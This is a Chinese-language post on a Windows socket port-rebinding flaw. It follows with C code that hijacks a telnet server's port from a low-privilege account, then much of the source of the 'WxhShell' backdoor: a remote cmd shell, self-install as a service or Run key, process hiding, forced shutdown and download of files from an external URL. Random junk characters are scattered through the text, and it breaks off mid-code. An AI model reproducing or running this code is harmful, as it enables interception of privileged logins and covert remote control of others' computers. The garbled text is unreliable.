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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <u?hdwW\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gr@{p"./z Zax]i,Bx saddr.sin_family = AF_INET; Cj1UD; B^(rUR saddr.sin_addr.s_addr = htonl(INADDR_ANY); $l;tP DiQkT R bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GQ0 (&I W79A4l< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 87(^P3;@ 'B5J.Xe: 这意味着什么?意味着可以进行如下的攻击: 'D"K`Vw R[9PFMn 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (MoTG^MrBY '%!M>rY, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6J-}&U eH!|MHe 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $ XsQ e IaTq4rt 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 U\8#Qvghf q7 oR9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [E~,> Q EjX'&"3. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !en F8a #KNq:@wp6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gZEA;N:H%< DVoV:pk #include q&$0i #include CotMV^ #include Z)O>h^0 #include Eb[H3v48, DWORD WINAPI ClientThread(LPVOID lpParam); D^s0EW-E int main() ;]ShC\1 { ;~:Ryl M WORD wVersionRequested; q AVfbcb DWORD ret; .(dmuV9 WSADATA wsaData; /9+A97{ BOOL val; A Wh*<H SOCKADDR_IN saddr; lZA>L,
\d SOCKADDR_IN scaddr; aho<w+l@ int err; 3zA=q[C SOCKET s; y]pN=<*h5 SOCKET sc; ]6%%X+$7 int caddsize; Q xF8=p HANDLE mt; `?o1cf A
DWORD tid; l&sO?P[ / wVersionRequested = MAKEWORD( 2, 2 ); Xf_tj:eO~ err = WSAStartup( wVersionRequested, &wsaData ); 5-5(`OZ{' if ( err != 0 ) { 1xdESorX( printf("error!WSAStartup failed!\n"); _IKP{WNB return -1; @j\?h$A/ } D@(M+u9/% saddr.sin_family = AF_INET; ul=a\;3x#| ?J@?,rZQ^V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x$5nLS2. ;*4tVp, saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t6%xit+ saddr.sin_port = htons(23); FP'u)eU&3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SeZT4y*= { GE~(N N printf("error!socket failed!\n"); 1|EU5< return -1; ^z%o]; } }M9DqZ;I val = TRUE; Nzi/3r7m //SO_REUSEADDR选项就是可以实现端口重绑定的 R3{*v =ov if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %AEK[W+0 { KB,~u*~! printf("error!setsockopt failed!\n"); @Uj_+c
q return -1; t1:S!@ } 8/>wgY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $>h!J.t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rGn5QV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %hQMC'c kk/+Vx~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %j[LRY/ { YKw!pu= ret=GetLastError(); ZLN_,/7 printf("error!bind failed!\n"); %is,t<G return -1; W]!@Zlal } 3dX=xuQ%/ listen(s,2); @1/}-.(n while(1) jgo<#AJ/E { f.$aFOn caddsize = sizeof(scaddr); ^!o1l-Y^gr //接受连接请求 !7kLFW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H81.p if(sc!=INVALID_SOCKET) PX69 { iA%'
;V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @!&Jgg53G if(mt==NULL) Y( V3PnH { LG Y!j_bD printf("Thread Creat Failed!\n"); _8x'GK
tU break; ;vI*ThzdD }
m[@%{ } +Jo 3rX'` CloseHandle(mt); f1CMR4D } hP4)8 > closesocket(s); rAlh&
?X WSACleanup(); {7K'<ti return 0; oc3dd"8}@ } l6S19Kv DWORD WINAPI ClientThread(LPVOID lpParam) *< $c
= { re ]Ste SOCKET ss = (SOCKET)lpParam; _d\u!giy SOCKET sc; C"U[ b% unsigned char buf[4096];
rTP5-4 SOCKADDR_IN saddr; HeT6Dv long num; n?ZL"!$ DWORD val; o%/-5- DWORD ret; ]{Mci]H6T //如果是隐藏端口应用的话,可以在此处加一些判断 <uBhi4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 #Cg}!38 saddr.sin_family = AF_INET; +#-kIaU saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^&`sWO@= saddr.sin_port = htons(23); Mz/]D J8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +gbX}jF0% { Q{.{#G printf("error!socket failed!\n"); -'O Q-5 return -1; >/!7i3Ow- } f%Z;05 val = 100; L@1,7@
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J$6-c'8 {
JVUZ}#O ret = GetLastError(); F_Z&-+,*3t return -1; `N|U"s; } nJtEUVMt if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7x[LF ^o { ( Lok ret = GetLastError(); \A'|XdQ return -1; /-!&k } SE,o7_k'S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .0nn0)" { OYszW]UMg printf("error!socket connect failed!\n"); iA55yT+ closesocket(sc); )(:+q(m closesocket(ss); 4|zdXS return -1; L;1$xI8tx } u%6Irdx while(1) Z/89&Uy`h { lj
"Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >\|kJ?h //如果是嗅探内容的话,可以再此处进行内容分析和记录 Cec9#C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5+e> +$2 num = recv(ss,buf,4096,0); TIcd
_>TW if(num>0) ZQ,fm`y\ send(sc,buf,num,0); #dva0%-1 else if(num==0) /<3;0~#){ break; |eH wp num = recv(sc,buf,4096,0); g9yaNelDh) if(num>0) 0t#NMW send(ss,buf,num,0); ?1GY%- else if(num==0) ~t'#n V break; $$haVY& } zAeGkP ~K closesocket(ss); 9">zdFC' closesocket(sc); fOa6, return 0 ; kZV^F*7 } |?OdV<5C fH{9]TU_: vKcl6bVT ========================================================== |A ;o0pL OOEV-= 下边附上一个代码,,WXhSHELL v-P8WFjca 89LpklD ========================================================== ]]el| Uj4Lu #include "stdafx.h" u~$WH, P3 pyUNRqp #include <stdio.h> iBG`43; #include <string.h> 1 L+=|*: #include <windows.h> A)\>#Dv #include <winsock2.h> ;;ER"N #include <winsvc.h> "KMLk #include <urlmon.h> jrIA]K6 `^v4zWDK #pragma comment (lib, "Ws2_32.lib")
S304ncS|M #pragma comment (lib, "urlmon.lib") Hze-Ob8 G 6Wx3~ #define MAX_USER 100 // 最大客户端连接数 ( MB`hk-d #define BUF_SOCK 200 // sock buffer ~R :<Bw #define KEY_BUFF 255 // 输入 buffer PV?]UUc'n< m! rwG( #define REBOOT 0 // 重启 F0@Qgk]\ #define SHUTDOWN 1 // 关机 \n[
392 ?k
[%\jq{a #define DEF_PORT 5000 // 监听端口 .CVUEK@Z4 k1wCa^*gc #define REG_LEN 16 // 注册表键长度 "e~k-\^Y #define SVC_LEN 80 // NT服务名长度 S3SV.C:z> 'I&|1I^ // 从dll定义API |J:$MX~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RS'} nY} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HR;/Br typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uA~YRKer typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y)6,0K {k NA+&jV // wxhshell配置信息 XR|"dbZW.0 struct WSCFG { 3rxo,pX94 int ws_port; // 监听端口 CXTt(-FT char ws_passstr[REG_LEN]; // 口令 kGpV;F==* int ws_autoins; // 安装标记, 1=yes 0=no Ee&hG[sx char ws_regname[REG_LEN]; // 注册表键名 }<SNO)h3 char ws_svcname[REG_LEN]; // 服务名 vKU`C?,L char ws_svcdisp[SVC_LEN]; // 服务显示名 :bwM]k*$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 =g@R%NDNV char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |Dg;(i? int ws_downexe; // 下载执行标记, 1=yes 0=no {T&v2u#S char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" D,k(~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WElrk:b jRofG' }; g]za"U|g 0Qm"n6NQ // default Wxhshell configuration j8pFgnQ struct WSCFG wscfg={DEF_PORT, SC'BmR"ox "xuhuanlingzhe", ^Z2kq2}a 1, , 7Xqte "Wxhshell", *9J1$Wa "Wxhshell", hL0]R,t;' "WxhShell Service", (zY * 0lN "Wrsky Windows CmdShell Service", ,~- ?l7 "Please Input Your Password: ", v51EXf 1, U|8[#@r " http://www.wrsky.com/wxhshell.exe", So#dJ> "Wxhshell.exe" iSlFRv?a }; o
w2$o\hC =HMmrmz: // 消息定义模块 gC`)]*'tE char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T j`y J!0 char *msg_ws_prompt="\n\r? for help\n\r#>"; ^\:yf.k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; a'uU,Eb}#w char *msg_ws_ext="\n\rExit."; 6)ycmu;!$ char *msg_ws_end="\n\rQuit."; N0Gf0i> char *msg_ws_boot="\n\rReboot..."; Uan,H1a char *msg_ws_poff="\n\rShutdown..."; M`~!u/D7 char *msg_ws_down="\n\rSave to "; sMH#BCC co/7l sW
char *msg_ws_err="\n\rErr!"; =N_,l'U\^ char *msg_ws_ok="\n\rOK!"; ob'n{T+lZ *xcP` char ExeFile[MAX_PATH]; ;W0]66& int nUser = 0; 2/@D7>F&g HANDLE handles[MAX_USER]; !h>D;k6 e int OsIsNt; R uLvG+ }kE87x' SERVICE_STATUS serviceStatus; J='W+=N SERVICE_STATUS_HANDLE hServiceStatusHandle; 0N{+y}/G i&A%"lOI9 // 函数声明 XvskB[\ int Install(void); .|uLt J int Uninstall(void); ~s#e,Kav" int DownloadFile(char *sURL, SOCKET wsh); X2gz6|WJ int Boot(int flag); ^Gq5ig1rxy void HideProc(void); 8%[HYgd5) int GetOsVer(void); B;!f<"a8 int Wxhshell(SOCKET wsl); +yWR#[`n void TalkWithClient(void *cs); RZO5=L9E int CmdShell(SOCKET sock); 6Nt$ZYS int StartFromService(void); (;}tf~~r int StartWxhshell(LPSTR lpCmdLine); #.<V^ 6^;^rUlm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zn&k[?;Al VOID WINAPI NTServiceHandler( DWORD fdwControl ); <qhBc:kc .Pw%DZ' // 数据结构和表定义
-4flV D SERVICE_TABLE_ENTRY DispatchTable[] = ;xK_qBIP { /)9W1U^B {wscfg.ws_svcname, NTServiceMain}, ,)h)5o(? {NULL, NULL} B!b sTvX }; B
wC+ov= JRO$< // 自我安装 pUCK-rL int Install(void) (KTnJZ { ioV_oR9I char svExeFile[MAX_PATH]; <C<`J{X0 HKEY key; iq6a|XGi strcpy(svExeFile,ExeFile); xMI+5b8 0Q~@F3N-\> // 如果是win9x系统,修改注册表设为自启动 O"*`'D|hK if(!OsIsNt) { ni6r{eSQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2yKz-"E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $%PVJs RegCloseKey(key); D|_V<' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gWrAUPS[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %y"J8;U RegCloseKey(key); vG
Vd return 0; "+|L_iuNQ } s&'BM~WI } Bf]$X>d } q* !3C else { K>1X}ZMdD( @(:v_l // 如果是NT以上系统,安装为系统服务 hVP
IHQt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n#*`!# if (schSCManager!=0) ~|lIC !q { kIvvEh<L= SC_HANDLE schService = CreateService <\@1Zz@ms ( }B q^3?,#{ schSCManager, 47UO*oLS wscfg.ws_svcname, T&xt`| wscfg.ws_svcdisp, MJ\[Dt SERVICE_ALL_ACCESS, *8)2iv4[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W
f@t4(i SERVICE_AUTO_START, ALGgAX3t SERVICE_ERROR_NORMAL, <L2emL_' svExeFile, -2i\G .,J NULL, N[Sb#w`[/ NULL, _3>djF_u NULL, O8|*M " NULL, b |7ja_ NULL 1;&;5 ); =Q(vni83< if (schService!=0) DjHp+TyT { 8)xt(~qF CloseServiceHandle(schService); ~rv})4h CloseServiceHandle(schSCManager); $/_qE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0a2@b"l strcat(svExeFile,wscfg.ws_svcname); V U~Dk);Bv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "0&N} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~`eHHgX RegCloseKey(key); Yck~xt&] return 0; q\$6F)ha3 } cxP6-tV% } c
~Fdx CloseServiceHandle(schSCManager); naNyGE7) } TJy4<rb } }$gmK M>l^%` return 1; N.j
"S'(i } |(% u}V? $'"8QOnJ?k // 自我卸载 wW`}VKu int Uninstall(void) A6UO0lyu { uDayBaR HKEY key; ^O6*e]C$ [-w@.^:]X if(!OsIsNt) { nr\q7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v{;7LXy0 RegDeleteValue(key,wscfg.ws_regname); RL}KAGK RegCloseKey(key); YQ(Po!NI\' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2t1I3yA'{z RegDeleteValue(key,wscfg.ws_regname); `/Y+1 aD RegCloseKey(key); q'S
=Eav8 return 0;
cd. brM } .%xzT J=! } %_gho } |M5-5) else { Mm=Mz {3edTu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .~klG&>aV if (schSCManager!=0) ;D2E_!N
dt { :q+N&j'3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Imym+ if (schService!=0) R+=a`0_S { #y; yN7W if(DeleteService(schService)!=0) { BWUq%o,@g CloseServiceHandle(schService); G '#41>q+ CloseServiceHandle(schSCManager); g9mG`f return 0; l]#!+@ } '$m7ft} CloseServiceHandle(schService); 8 i0 } hW2.8f$ CloseServiceHandle(schSCManager); \7Cg,Xn } `l]j#qshTm } ~&VN_;j_ v}uJtBG( return 1; &__DJ''+ } /"#4T^7& (ku5WWJ // 从指定url下载文件 ;vp\YIeX1 int DownloadFile(char *sURL, SOCKET wsh) SUdm 0y { ($!KzxF3 HRESULT hr; rVryt<2:@r char seps[]= "/"; ZX.TqvK/r char *token; XZph%j0o char *file; sbsu(Sz+ char myURL[MAX_PATH]; V1bh|+o9 char myFILE[MAX_PATH]; H;KDZO9W @Hjea1@t strcpy(myURL,sURL); 8X7{vN_3K token=strtok(myURL,seps); #hxyOq, while(token!=NULL) &0v.E"0< { 46,j9x file=token; f_6`tq m% token=strtok(NULL,seps); d@kc[WLD^ } FJS'G^ pP/@ GetCurrentDirectory(MAX_PATH,myFILE); ')#,X^
strcat(myFILE, "\\"); TZB+lj1 strcat(myFILE, file); x8[MP?Wz send(wsh,myFILE,strlen(myFILE),0); t#b0H)
send(wsh,"...",3,0); .p@N:)W6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <,8l *1C if(hr==S_OK) }NmNanW^ return 0; |X (2Zv^O else /Jlv"R1, return 1; eti`O 'jaoO9KY
K } g`,AaWlF Omyt2`q // 系统电源模块 IF_D Z int Boot(int flag) \7 a4uc { J)x3\[}Ye HANDLE hToken; )iLM]m TOKEN_PRIVILEGES tkp; D-ADv3E, I4e+$bU3 if(OsIsNt) { t@B(+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _N#&psQzw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vK$^y^ tkp.PrivilegeCount = 1; 2VgP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l I-p_K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =xl~][ if(flag==REBOOT) { zICI_*~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8k!6b\Imz return 0; 1Ix3i9 } W)=%mdxW0 else { Fvl`2W94; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h%}(h2W return 0; jPJAWXB4a } O.+9,4A( } igkz2S I else { M7dU@ Ag if(flag==REBOOT) { i@$*Csj\9* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _"N\b%CkO return 0; iS: #o> } P%>?[9!Nt else { v,1F--v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $|<m9CW return 0; >S#ul? } tFh|V
pB } a39h P* hu@7?f_"L/ return 1; M?@pN<| } < o I8-f H{zPft // win9x进程隐藏模块 $k0H9_ void HideProc(void) HD-Erop { AtHS@p +x1/-J8_sg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +=fKT,-*G! if ( hKernel != NULL ) ?d-70pm { !]b@RUU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?]!vRmZ; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +;gsRhWk FreeLibrary(hKernel); 1y[B[\ } );JJ2Jlkd 5K.+CO< return; SG'JE}jzO } b1^cD6sT+ ]0~qi@ // 获取操作系统版本 S+I^!gT int GetOsVer(void) {B{i(6C( { 2$0)?ZC?= OSVERSIONINFO winfo; C{m&}g` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i0Pn Z
J GetVersionEx(&winfo); ?2`$3[ET- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \
P/W8{ return 1; O%JSViPw else |C-y}iQ:6~ return 0; bkv/I{C>? } ecFi(eMD *\ECf.7jz // 客户端句柄模块 3H8Al int Wxhshell(SOCKET wsl) w|Qd` { _z"o1`{w SOCKET wsh; -!dQ)UEP struct sockaddr_in client; +R\~3uj[7 DWORD myID; uxDLDA$; HeS'~Z$ while(nUser<MAX_USER) rc{o?U'^- { \E
hr@g int nSize=sizeof(client); =AkX4k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kk_zVrQ< if(wsh==INVALID_SOCKET) return 1; 5gK~('9'?1 2d&^Sp&11 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?r3e*qJGn if(handles[nUser]==0) p24.bLr closesocket(wsh); 8S>>7z!U else {D(,ft;s^ nUser++; yazZw}}; } 3$_2weZxYn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UR:n5V4 0wvU?z%WK return 0; JDhwN<0R } 9d\N[[Vu]R L82NP)St // 关闭 socket Xj,j0 void CloseIt(SOCKET wsh) AbY;H { EfSMFPM
closesocket(wsh); ^5x4 q nUser--; n\>.T[$" ExitThread(0); V9{B}5KC
} \=g!$ %ck`0JZAP // 客户端请求句柄 wAz,vq=x void TalkWithClient(void *cs) #W5Yw>$ { /(zB0TEd D_ ug-<QT SOCKET wsh=(SOCKET)cs; 3"tg+DncC char pwd[SVC_LEN]; 3-
)kwy6L char cmd[KEY_BUFF]; 9::YR;NY char chr[1]; { _X#fq0} int i,j; vnZ/tF (`mOB6j while (nUser < MAX_USER) { U_Y;fSl> n/-N;'2J if(wscfg.ws_passstr) { {6tx,; r(F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R=86w_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <PQRd //ZeroMemory(pwd,KEY_BUFF); V8v,jS$l4 i=0; v>k b^38 while(i<SVC_LEN) { 6`j<l5-h yu_gNro L // 设置超时 +/_!P;I fd_set FdRead; 4Q&mC" struct timeval TimeOut; !Bncx`pl FD_ZERO(&FdRead); i*A$SJ:} FD_SET(wsh,&FdRead); ^Kum%<[i TimeOut.tv_sec=8; 3G(skphE TimeOut.tv_usec=0; >I:9'"` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Esa6hU# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Ekgft& 5j1 IH,yW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p1?J pwd =chr[0]; a;yV#Y if(chr[0]==0xd || chr[0]==0xa) { auoA pwd=0; L]NYYP- break; `#<eA*^g5 } 0k7"H]J i++; J\GKqt;5@ } U%Ol^xl jL2MW(d^Q // 如果是非法用户,关闭 socket T-!|l7V~f if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pfNThMf } 1W7
iip, 6(sfpK' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ugRV5bUk send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l58l [$H( CH` while(1) { M'vXyb%$1 LA>dkPB ZeroMemory(cmd,KEY_BUFF); A1 b6Zt X)Ocn`| // 自动支持客户端 telnet标准 |:/ @t j=0; 9XY|V<} while(j<KEY_BUFF) { "$4hv6 s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G dL4|xv cmd[j]=chr[0]; 3XBp6` if(chr[0]==0xa || chr[0]==0xd) { GMt)}Hz cmd[j]=0; @US '{hO1p break; ~.!?5(AH8z } /$<JCNGv j++; +Hi{/{k0N } +*Q9.LjV [)bz6\d[ // 下载文件 8Q)y%7{6 if(strstr(cmd,"http://")) { xQZMCd send(wsh,msg_ws_down,strlen(msg_ws_down),0); F^[M if(DownloadFile(cmd,wsh)) ^>t-v send(wsh,msg_ws_err,strlen(msg_ws_err),0); YU*46 hA1B else r)(i{:@r` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X%*brl$D } S/) else { bmSpbX\ <w%Yq?^ switch(cmd[0]) { sCL/pb] i"ck`6v"8 // 帮助 C-_w]2MM case '?': { J>/Ci\OB send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OcLg3.:L break; Qdh"X^^ } GF9ZL // 安装 moZ)|y case 'i': { aJ% e'F[ if(Install()) R,fMZHAG send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?%_]rr9 else a [0N,t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IZzhJK M1V break; wV]sGHu F} } hVROzGZk // 卸载 }u38:(^`ai case 'r': { ^?81.b|qb if(Uninstall()) \E>%W send(wsh,msg_ws_err,strlen(msg_ws_err),0); tOu90gu else vK[v
eFH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tP/GDC; break; cob9hj#&7 } K[`4vsE // 显示 wxhshell 所在路径 -zkW\O[ case 'p': { 1nw$B[ char svExeFile[MAX_PATH]; iW1$!l>v strcpy(svExeFile,"\n\r"); {[H4G,QK
strcat(svExeFile,ExeFile); ~x76{.gT send(wsh,svExeFile,strlen(svExeFile),0); #J'Z5)i| break; D>,$c } DtI%-I. // 重启 rin >r0o case 'b': { -fx(H+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S]Yu6FtWiO if(Boot(REBOOT)) 9Ba|J"?Y k send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,APGPE}I[ else { 'Y,+D`&i) closesocket(wsh); )< X=z ExitThread(0); PxdJOtI" } ft*G*.0kO break; >'BU* } sPZV>Q:zY // 关机 IIYX|;1}X case 'd': { nvm1.}=Cnd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZlwcwoPib if(Boot(SHUTDOWN)) vr8J*36{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,3g]=f else { q(w1VcLZ closesocket(wsh); q[Sp|C6x ExitThread(0); Q{(,/}kA- } WVBE>TB break; 64IeCAMVo } }V93~> // 获取shell XPR:_ case 's': { [:/7OM CmdShell(wsh); /cn/[O9 closesocket(wsh); b[QCM/ ExitThread(0); +J}k_'4& break; n?7hp%} } U?+3 0{hb // 退出 'Sb6
w+ case 'x': { 7.F& {:@_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W! 5Blo CloseIt(wsh); )%nt61P\W break; hx2!YNx ! } Wr}a\}R // 离开 +9=p*3cnp case 'q': { 3XYIb Xnk send(wsh,msg_ws_end,strlen(msg_ws_end),0); PLY-,Q&' closesocket(wsh); 10QNV=yK7s WSACleanup(); */fs.G:P exit(1); v/4X[6( break; E Ni%ge'": } ijR*5#5h } bb0{-T)1 } ?U2g8D nFY x u\/]f) // 提示信息 Kuzy&NI^w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &6~ncQWu }
4 I]/ } "O"^\f d-K5nRyI return; h P6fTZ=Ln } Yg:74; . }f0^9( // shell模块句柄 r4z}yt+ int CmdShell(SOCKET sock) AS/\IHZ\ { ?8aWUgl STARTUPINFO si; R'$ T6FB5 ZeroMemory(&si,sizeof(si)); t'_,9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y:(C=*^<t si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nd*!`P PROCESS_INFORMATION ProcessInfo; 3GuMiht5 char cmdline[]="cmd"; ~[bMfkc3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G~mB=] return 0; El8.D3 } P^d., lk *QV // 自身启动模式 +{l3#Y int StartFromService(void) eyl) uR { $=6kh+n@ typedef struct z2EI"'4\9 { c]/O^/ DWORD ExitStatus; tMs|UC DWORD PebBaseAddress; WZy6K(18"' DWORD AffinityMask; e]L3=R; DWORD BasePriority; B39PDJ]hu ULONG UniqueProcessId; {)dEO0 p ULONG InheritedFromUniqueProcessId; 4UX]S\X } PROCESS_BASIC_INFORMATION; p%YvP +~v3D^L15 PROCNTQSIP NtQueryInformationProcess; .L5T4) D}
<o<Dk static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GE| ^ryh static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2%No>w}/2 ]nr
